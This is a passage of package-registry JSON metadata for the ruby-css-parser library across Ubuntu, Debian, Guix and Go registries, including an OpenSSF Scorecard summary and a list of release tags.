"2026-02-04T11:01:48.636Z","updated_at":"2026-06-10T05:17:48.008Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/namespaces"}},{"id":13566252,"name":"ruby-css-parser","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/premailer/css_parser","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/premailer/css_parser","keywords_array":["universe/misc"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-11T06:37:33.706Z","latest_release_published_at":"2026-02-11T06:37:33.706Z","latest_release_number":"1.6.0-2","last_synced_at":"2026-03-12T01:19:02.724Z","created_at":"2026-02-11T06:37:33.519Z","updated_at":"2026-03-12T01:19:02.724Z","registry_url":"https://launchpad.net/ubuntu/+source/ruby-css-parser","install_command":"apt-get install ruby-css-parser","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"optional","binary":"ruby-css-parser","standards_version":"4.6.0","maintainer":"Debian Ruby Team \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 13), gem2deb, rake, ruby-addressable, ruby-minitest, ruby-test-unit, ruby-webrick (\u003e= 1.7.0)","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-11T14:56:14.980Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/ruby-css-parser?arch=source\u0026distro=ubuntu-23.04\u0026repository_url=https://launchpad.net/ubuntu/lunar","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/ruby-css-parser","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/ruby-css-parser","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/ruby-css-parser/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/ruby-css-parser/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/ruby-css-parser/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/ruby-css-parser/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/ruby-css-parser/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/ruby-css-parser/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/ruby-css-parser/codemeta","maintainers":[],"registry":{"name":"ubuntu-23.04","url":"https://launchpad.net/ubuntu/lunar","ecosystem":"ubuntu","default":false,"packages_count":36116,"maintainers_count":0,"namespaces_count":4,"keywords_count":1000,"github":"ubuntu","metadata":{"codename":"lunar","mirror":"http://old-releases.ubuntu.com/ubuntu","funded_packages_count":133},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:49.117Z","updated_at":"2026-06-10T05:17:49.008Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/namespaces"}},{"id":13466509,"name":"ruby-css-parser","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/premailer/css_parser","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/premailer/css_parser","keywords_array":["universe/misc"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-09T16:22:51.383Z","latest_release_published_at":"2026-02-09T16:22:51.383Z","latest_release_number":"1.16.0-1","last_synced_at":"2026-03-09T17:04:05.769Z","created_at":"2026-02-09T16:22:51.134Z","updated_at":"2026-03-09T17:32:31.325Z","registry_url":"https://launchpad.net/ubuntu/+source/ruby-css-parser","install_command":"apt-get install ruby-css-parser","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"optional","binary":"ruby-css-parser","standards_version":"4.6.2","maintainer":"Debian Ruby Team \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 13), gem2deb, rake, ruby-addressable, ruby-maxitest, ruby-test-unit, ruby-webrick (\u003e= 1.7.0)","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":null,"dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/ruby-css-parser?arch=source\u0026distro=ubuntu-24.10\u0026repository_url=https://launchpad.net/ubuntu/oracular","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/ruby-css-parser","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/ruby-css-parser","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/ruby-css-parser/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/ruby-css-parser/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/ruby-css-parser/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/ruby-css-parser/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/ruby-css-parser/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/ruby-css-parser/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/ruby-css-parser/codemeta","maintainers":[],"registry":{"name":"ubuntu-24.10","url":"https://launchpad.net/ubuntu/oracular","ecosystem":"ubuntu","default":false,"packages_count":38437,"maintainers_count":0,"namespaces_count":4,"keywords_count":1473,"github":"ubuntu","metadata":{"codename":"oracular","mirror":"http://old-releases.ubuntu.com/ubuntu","funded_packages_count":214},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:48.028Z","updated_at":"2026-06-10T05:17:05.787Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/namespaces"}},{"id":13530132,"name":"ruby-css-parser","ecosystem":"debian","description":null,"homepage":"https://github.com/premailer/css_parser","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/premailer/css_parser","keywords_array":["misc"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-10T23:28:38.720Z","latest_release_published_at":"2026-02-10T23:28:38.720Z","latest_release_number":"1.6.0-1","last_synced_at":"2026-03-14T06:21:52.754Z","created_at":"2026-02-10T23:28:38.534Z","updated_at":"2026-03-14T06:21:52.755Z","registry_url":"https://tracker.debian.org/pkg/ruby-css-parser","install_command":"apt-get install ruby-css-parser","documentation_url":"https://packages.debian.org/bullseye/ruby-css-parser","metadata":{"component":"main","architecture":"all","priority":"optional","binary":"ruby-css-parser","standards_version":"4.0.1","maintainer":"Debian Ruby Extras Maintainers \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"debhelper (\u003e= 10~), gem2deb, rake, ruby-addressable, ruby-minitest, ruby-test-unit","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-11T14:26:33.339Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/debian/ruby-css-parser?arch=source\u0026distro=debian-11\u0026repository_url=https://packages.debian.org/bullseye","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/debian/ruby-css-parser","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/debian/ruby-css-parser","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/debian/ruby-css-parser/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/ruby-css-parser/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/ruby-css-parser/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/ruby-css-parser/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/ruby-css-parser/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/ruby-css-parser/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/ruby-css-parser/codemeta","maintainers":[],"registry":{"name":"debian-11","url":"https://packages.debian.org/bullseye","ecosystem":"debian","default":false,"packages_count":31268,"maintainers_count":0,"namespaces_count":3,"keywords_count":764,"github":"debian","metadata":{"codename":"bullseye","funded_packages_count":100},"icon_url":"https://github.com/debian.png","created_at":"2026-02-04T11:01:49.702Z","updated_at":"2026-06-10T05:17:51.942Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/namespaces"}},{"id":13950399,"name":"ruby-css-parser","ecosystem":"guix","description":"Ruby Cascading Style Sheets (CSS) parser","homepage":"https://github.com/premailer/css_parser","licenses":"expat","normalized_licenses":["Other"],"repository_url":"https://github.com/premailer/css_parser","keywords_array":[],"namespace":null,"versions_count":1,"first_release_published_at":"2026-03-02T18:56:10.809Z","latest_release_published_at":"2026-03-02T18:56:10.809Z","latest_release_number":"1.21.1","last_synced_at":"2026-04-27T16:18:59.347Z","created_at":"2026-03-02T18:56:10.504Z","updated_at":"2026-04-27T16:18:59.347Z","registry_url":"https://packages.guix.gnu.org/packages/ruby-css-parser/1.21.1/","install_command":"guix install ruby-css-parser","documentation_url":"https://git.savannah.gnu.org/cgit/guix.git/tree/gnu/packages/ruby-xyz.scm#n1403","metadata":{"location":"gnu/packages/ruby-xyz.scm:1403","variable_name":"ruby-css-parser"},"repo_metadata":{},"repo_metadata_updated_at":"2026-04-03T00:24:26.662Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:guix/ruby-css-parser","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/guix/ruby-css-parser","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/guix/ruby-css-parser","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/guix/ruby-css-parser/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/guix/packages/ruby-css-parser/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/guix/packages/ruby-css-parser/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/guix/packages/ruby-css-parser/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/guix/packages/ruby-css-parser/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/guix/packages/ruby-css-parser/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/guix/packages/ruby-css-parser/codemeta","maintainers":[],"registry":{"name":"guix","url":"https://guix.gnu.org","ecosystem":"guix","default":true,"packages_count":32075,"maintainers_count":0,"namespaces_count":0,"keywords_count":1627,"github":"guix-mirror","metadata":{"funded_packages_count":368},"icon_url":"https://github.com/guix-mirror.png","created_at":"2026-03-02T16:23:46.981Z","updated_at":"2026-06-10T05:17:25.224Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/guix/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/guix/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/guix/namespaces"}},{"id":8614477,"name":"github.com/premailer/css_parser","ecosystem":"go","description":null,"homepage":null,"licenses":"other","normalized_licenses":["Other"],"repository_url":"https://github.com/premailer/css_parser","keywords_array":[],"namespace":null,"versions_count":44,"first_release_published_at":"2023-12-02T02:14:36.624Z","latest_release_published_at":"2026-06-01T23:43:37.000Z","latest_release_number":"v3.0.0+incompatible","last_synced_at":"2026-07-07T04:21:59.430Z","created_at":"2023-12-02T02:14:28.531Z","updated_at":"2026-07-07T04:21:59.430Z","registry_url":"https://pkg.go.dev/github.com/premailer/css_parser","install_command":"go get github.com/premailer/css_parser","documentation_url":"https://pkg.go.dev/github.com/premailer/css_parser#section-documentation","metadata":{},"repo_metadata":{"id":45434787,"uuid":"408234","full_name":"premailer/css_parser","owner":"premailer","description":"Ruby CSS Parser","archived":false,"fork":false,"pushed_at":"2025-04-17T17:27:03.000Z","size":696,"stargazers_count":286,"open_issues_count":21,"forks_count":111,"subscribers_count":11,"default_branch":"master","last_synced_at":"2025-08-30T03:38:39.785Z","etag":null,"topics":["css-parser","ruby"],"latest_commit_sha":null,"homepage":"","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/premailer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"MIT-LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2009-12-08T17:22:24.000Z","updated_at":"2025-07-27T09:35:36.000Z","dependencies_parsed_at":"2024-02-26T00:59:51.248Z","dependency_job_id":"c84239b6-5311-4eea-a02c-10d18331db6a","html_url":"https://github.com/premailer/css_parser","commit_stats":{"total_commits":380,"total_committers":69,"mean_commits":5.507246376811594,"dds":0.781578947368421,"last_synced_commit":"54b8ea5d542297efd0690bd22e390cf7640ee7d3"},"previous_names":["alexdunae/css_parser"],"tags_count":58,"template":false,"template_full_name":null,"purl":"pkg:github/premailer/css_parser","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/premailer","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/sbom","scorecard":{"id":181202,"data":{"date":"2025-08-04","repo":{"name":"github.com/premailer/css_parser","commit":"2ef7dcaaf9ceaba6652d67a875e4df5e76d8950f"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.1,"checks":[{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Code-Review","score":5,"reason":"Found 10/19 approved changesets -- score normalized to 5","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/premailer/css_parser/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/premailer/css_parser/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/premailer/css_parser/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:36: update your workflow using https://app.stepsecurity.io/secureworkflow/premailer/css_parser/ci.yml/master?enable=pin","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":9,"reason":"license file detected","details":["Info: project has a license file: MIT-LICENSE:0","Warn: project license file does not contain an FSF or OSI license."],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-2rxp-v6pw-ch6m","Warn: Project is vulnerable to: GHSA-4xqq-m2hx-25v8","Warn: Project is vulnerable to: GHSA-5866-49gr-22v4","Warn: Project is vulnerable to: GHSA-r55c-59qm-vjw6","Warn: Project is vulnerable to: GHSA-vg3r-rm7w-2xgh","Warn: Project is vulnerable to: GHSA-vmwr-mc7x-5vc3","Warn: Project is vulnerable to: GHSA-6f62-3596-g6w7","Warn: Project is vulnerable to: GHSA-r995-q44h-hr64"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 22 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-16T18:54:19.860Z","repository_id":45434787,"created_at":"2025-08-16T18:54:19.860Z","updated_at":"2025-08-16T18:54:19.860Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":272800850,"owners_count":24995139,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-08-30T02:00:09.474Z","response_time":77,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"premailer","name":"premailer","uuid":"5750522","kind":"organization","description":null,"email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/5750522?v=4","repositories_count":5,"last_synced_at":"2024-04-21T03:04:42.616Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/premailer","funding_links":[],"total_stars":2670,"followers":4,"following":0,"created_at":"2022-11-02T16:36:22.230Z","updated_at":"2024-04-21T03:04:43.062Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/premailer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/premailer/repositories"},"tags":[{"name":"v1.21.1","sha":"89c81113fa040dc3aa97d1423b85234d00a9f68a","kind":"tag","published_at":"2025-03-09T20:29:13.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.21.1","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.21.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.21.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.21.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.21.1/manifests"},{"name":"v1.21.0","sha":"cff1ddba66a9aca22a15ebdaaf6cbd35c2652381","kind":"tag","published_at":"2024-12-13T16:46:38.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.21.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.21.0/manifests"},{"name":"v1.20.0","sha":"f5bfeefc96838d56f86b1a2693af6ec62779c51f","kind":"tag","published_at":"2024-12-12T16:10:50.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.20.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.20.0/manifests"},{"name":"v1.19.1","sha":"837146affae8057200770287db4753b973063a2a","kind":"tag","published_at":"2024-10-13T15:47:53.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.19.1","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.19.1/manifests"},{"name":"v1.19.0","sha":"fa1a78f77a6e4d1e220f16723df0a78dbe740f09","kind":"tag","published_at":"2024-08-23T15:17:49.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.19.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.19.0/manifests"},{"name":"v1.17.1","sha":"6beca94c2dbb1ebce0c5281997849b7601ef7f03","kind":"tag","published_at":"2024-04-07T16:12:54.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.17.1","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.17.1/manifests"},{"name":"v1.17.0","sha":"25605b7b0e76d517f6269945bdffd02cf760484d","kind":"tag","published_at":"2024-04-06T18:10:24.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.17.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.17.0/manifests"},{"name":"v1.16.0","sha":"8167588ea302df8a5ff7917e875f9f59fcf2b76b","kind":"tag","published_at":"2023-09-01T05:08:27.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.16.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.16.0/manifests"},{"name":"v1.15.0","sha":"71f1603784516f396ebebf4284349fdb56a5957c","kind":"tag","published_at":"2023-08-29T17:07:42.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.15.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.15.0/manifests"},{"name":"v1.14.0","sha":"b94277e08c11e6f93836ac1480d5aa85fa567bcb","kind":"tag","published_at":"2023-01-09T18:36:38.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.14.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.14.0/manifests"},{"name":"v1.13.0","sha":"5765e6cb05da85db6820f8